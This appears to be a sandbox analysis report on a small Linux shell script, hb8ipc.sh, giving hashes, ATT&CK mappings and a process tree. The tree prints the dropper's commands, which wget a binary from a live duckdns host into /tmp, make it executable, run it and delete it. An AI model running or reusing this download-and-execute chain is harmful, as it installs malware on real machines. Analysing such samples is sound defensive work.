0edc6016136f7d89f28e3014a30a0f948d14e5b5b6c15d66064d0e6392c0fdf3

Analysis

max time kernel
5s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/04/2026, 12:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hb8ipc.sh
Size 1KB
Sample260423-pp6pcsc18t
SHA256 0edc6016136f7d89f28e3014a30a0f948d14e5b5b6c15d66064d0e6392c0fdf3
MD5 9120138a97d9e481f0a5761a6c6d751b
SHA1 08c091146cbadb71a43a7b03b6dc2548aa907178
SHA512 0524e1075b2c93b0777f2457d280f40b923eed89f1f0652b19aa244b93d60332bd599add4d2c3d7c6fa9da5a4cb2863366c581f0bccf5c5aad97b215cd08c861
TLSH
T15221ADFF64E31432908D4028DFBF621454C70A23A884D91FB54C74383FB4764A953F8A
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
671	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/bot	672	hb8ipc.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
643	hb8ipc.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget

/tmp/hb8ipc.sh
/tmp/hb8ipc.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:643
- /bin/uname
  uname -m
  2⤵
  PID:646
- /usr/bin/wget
  wget -q http://69sexy.duckdns.org/arm7 -O /tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:649
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /bin/sleep
  sleep 5
  2⤵
  PID:673
- /tmp/bot
  /tmp/bot
  2⤵
  PID:672
- /bin/sh
  /bin/sh /tmp/bot
  2⤵
  PID:672
- /bin/rm
  rm -f /tmp/bot
  2⤵
  PID:751

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads